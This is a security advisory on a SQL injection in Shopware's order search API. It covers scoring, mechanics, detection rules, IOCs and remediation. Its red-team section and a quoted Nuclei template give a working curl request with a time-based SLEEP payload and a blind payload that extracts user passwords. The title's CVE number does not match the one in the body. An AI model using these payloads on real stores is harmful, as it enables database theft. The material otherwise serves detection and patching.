CVE-2025-27892

Executive Summary

CVE-2025-27893 is a critical SQL injection vulnerability affecting Shopware versions prior to 6.5.8.13. The flaw resides in the /api/search/order endpoint, specifically within the aggregations parameter. An authenticated attacker can inject arbitrary SQL commands through the name field of nested aggregation objects, leading to potential data exfiltration, modification, or denial of service. This vulnerability is a regression of previously patched issues CVE-2024-22406 and CVE-2024-42357, indicating incomplete remediation in earlier fixes. The provided Nuclei template confirms a time-based blind SQL injection vector, making exploitation reliable and stealthy.

Supply Chain & Package Security

Shopware is a PHP-based e-commerce platform. The vulnerability exists in the core application code, not in a third-party package. However, organizations using Shopware should verify their deployment version and apply the patch immediately. No known malicious packages have been associated with this CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:L
• Base Score: 6.8 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) - requires authenticated API access
• User Interaction: Required (UI:R) - the attacker must be an authenticated user
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H) - full database read possible
• Integrity Impact: Low (I:L) - limited data modification
• Availability Impact: Low (A:L) - potential for denial of service via heavy queries

Threat Level: High. While the CVSS score is 6.8, the ease of exploitation (low complexity, authenticated access) and the potential for complete database compromise elevate the real-world risk. The existence of a public PoC (Nuclei template) further increases the threat.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection within the Shopware API's search functionality. The /api/search/order endpoint allows users to perform complex searches with aggregations. The aggregations parameter accepts a JSON object where each aggregation can have a name field. This name field is improperly sanitized and concatenated directly into SQL queries.

The injection point is in the nested aggregation object's name field. The attacker can craft a payload like totalAmount ? ? -- where the ? characters are interpreted as SQL placeholders, allowing the injection of arbitrary SQL. The provided Nuclei template demonstrates a time-based blind injection using SLEEP(7).

The vulnerability is a regression, meaning it was previously fixed in CVE-2024-22406 and CVE-2024-42357 but reintroduced in a later version. This suggests that the fix was not comprehensive or was accidentally reverted.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In a vulnerable version, the aggregation name is directly interpolated
$sql = "SELECT ... FROM order WHERE ... GROUP BY " . $aggregation['name'];

Patched Code (Conceptual):

// In patched version 6.5.8.13, the name is parameterized or escaped
$sql = "SELECT ... FROM order WHERE ... GROUP BY :aggName";
$stmt->bindParam(':aggName', $aggregation['name']);

The exact patch is not publicly available, but the remediation involves proper sanitization or parameterization of the name field in aggregation objects.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Authenticated access to the Shopware API (valid Bearer token).
• Target running Shopware < 6.5.8.13.

Exploitation Steps:

1. Obtain a valid API token (e.g., through admin credentials or other means).
2. Send a POST request to /api/search/order with the malicious payload.

Example Request (using curl):

curl -X POST https://target.com/api/search/order \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "filter": [
      {
        "type": "equals",
        "field": "transactions.stateMachineState.technicalName",
        "value": "paid` FROM `order`; SELECT SLEEP(7); -- "
      }
    ],
    "aggregations": [
      {
        "type": "histogram",
        "name": "order_sum_bucket",
        "field": "orderDateTime",
        "interval": "day",
        "aggregation": {
          "type": "sum",
          "name": "totalAmount ? ? --",
          "field": "amountTotal"
        }
      }
    ]
  }'

Expected Behavior: The server will take approximately 7 seconds to respond (due to SLEEP(7)), confirming the SQL injection. The response will likely be a 500 error with a warning about an undefined array.

Data Exfiltration: Modify the SLEEP() payload to extract data using time-based blind techniques. For example:

• value": "paid FROM order; SELECT IF(SUBSTRING((SELECT password FROM user LIMIT 1),1,1)='a', SLEEP(5), 0); -- "`

Blue Team

Detection:

• Monitor API logs for requests to /api/search/order with unusual aggregations parameters.
• Look for SLEEP() or BENCHMARK() functions in SQL queries.
• Detect time-based anomalies: requests that take significantly longer than normal (e.g., >5 seconds).

Hunting:

• Search for HTTP requests containing SLEEP( or BENCHMARK( in the body.
• Correlate with authentication logs to identify the user account used.

Prevention:

• Immediately upgrade to Shopware 6.5.8.13 or later.
• Implement a Web Application Firewall (WAF) rule to block requests with suspicious SQL patterns in the JSON body.
• Restrict API token permissions to the minimum necessary.

Indicators of Compromise (IOCs)

• Network:

  • POST requests to /api/search/order with a JSON body containing SLEEP( or BENCHMARK(.
  • Response times exceeding 5 seconds for API search requests.
  • HTTP 500 errors with messages like Warning: Undefined array in the response body.

• Host:

  • Unusual database queries in MySQL logs containing SLEEP() or BENCHMARK().
  • High CPU or memory usage on the database server due to heavy queries.

• File:

  • No specific file-based IOCs.

Detection Engineering

YARA Rule

rule CVE_2025_27893_Shopware_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-27893 in Shopware"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-27893"
        severity = "critical"
    strings:
        $sleeper = /SLEEP\s*\(\s*\d+\s*\)/ nocase
        $benchmark = /BENCHMARK\s*\(\s*\d+\s*,/ nocase
        $agg_name = /"name"\s*:\s*"[^"]*\?\s*\?/ nocase
        $agg_inject = /"name"\s*:\s*"[^"]*--/ nocase
    condition:
        any of ($sleeper, $benchmark) or ($agg_name and $agg_inject)
}

Sigma Rule

title: CVE-2025-27893 Shopware SQL Injection Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts targeting the /api/search/order endpoint in Shopware
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-27893
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/search/order'
        cs-body|contains:
            - 'SLEEP('
            - 'BENCHMARK('
            - '"name": "*? ?'
            - '"name": "*--'
    condition: selection
falsepositives:
    - Legitimate use of SLEEP() in custom plugins (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-27893 Shopware SQL Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/api/search/order";
    http_uri;
    content:"SLEEP(";
    http_client_body;
    nocase;
    sid:10000001;
    rev:1;
    reference:cve,2025-27893;
    classtype:web-application-attack;
    priority:1;
)

Nuclei Template (Provided)

id: CVE-2025-27893

info:
  name: Shopware < 6.5.8.13 - SQL Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    The Shopware application API contains a search functionality which enables users to search through information stored within their Shopware instance. The searches performed by this function can be aggregated using the parameters in the "aggregations" object. The name field in this "aggregations" in nested object is vulnerable SQL-injection and can be exploited using SQL parameters.
  impact: |
    Authenticated attackers can execute arbitrary SQL queries through the aggregations parameter in the search API, potentially extracting sensitive data from the Shopware database.
  remediation: |
    Upgrade to Shopware version 6.5.8.13 or later that properly sanitizes the aggregations parameter.
  reference:
    - https://www.redteam-pentesting.de/en/advisories/rt-sa-2025-001/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-27893
  classification:
    epss-score: 0.02787
    epss-percentile: 0.86127
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:L
    cvss-score: 6.8
    cve-id: CVE-2025-27893
    cwe-id: CWE-89
  metadata:
    max-request: 1
    vendor: shopware
    product: shopware
    verified: true
  tags: cve,cve2025,shopware,sqli,time-based-sqli,vuln

variables:
  token: "{{token}}"

http:
  - raw:
      - |
        @timeout: 30s
        POST /api/search/order HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:137.0) Gecko/20100101 Firefox/137.0
        Accept: */*
        Authorization: Bearer {{token}}
        Content-type: application/json

        {
          "filter": [
            {
              "type": "equals",
              "field": "transactions.stateMachineState.technicalName",
              "value": "paid` FROM `order`; SELECT SLEEP(7); -- "
            }
          ],
          "aggregations": [
            {
              "type": "histogram",
              "name": "order_sum_bucket",
              "field": "orderDateTime",
              "interval": "day",
              "aggregation": {
                "type": "sum",
                "name": "totalAmount ? ? --",
                "field": "amountTotal"
              }
            }
          ]
        }


    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "Warning: Undefined array")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 500'
          - 'duration>=5'
        condition: and

Remediation & Mitigation

Immediate Actions:

1. Upgrade Shopware: Update to version 6.5.8.13 or later immediately. This is the only complete fix.
2. Restrict API Access: If immediate upgrade is not possible, restrict access to the /api/search/order endpoint to trusted IPs only.
3. Revoke Tokens: Invalidate all existing API tokens and issue new ones after the upgrade.

Long-term Measures:

• Implement a Web Application Firewall (WAF) with rules to block SQL injection patterns.
• Conduct regular security audits and penetration testing.
• Monitor for regression vulnerabilities in future updates.
• Ensure all input parameters, especially in JSON APIs, are properly sanitized and parameterized.

Workaround (if upgrade is delayed):

• Disable the search aggregation functionality by modifying the application code (not recommended for production).
• Use a reverse proxy to inspect and block malicious JSON payloads.

Valters IT

{/* [Security Hash: 2F20F3D5AC3500B23C2A1128] */}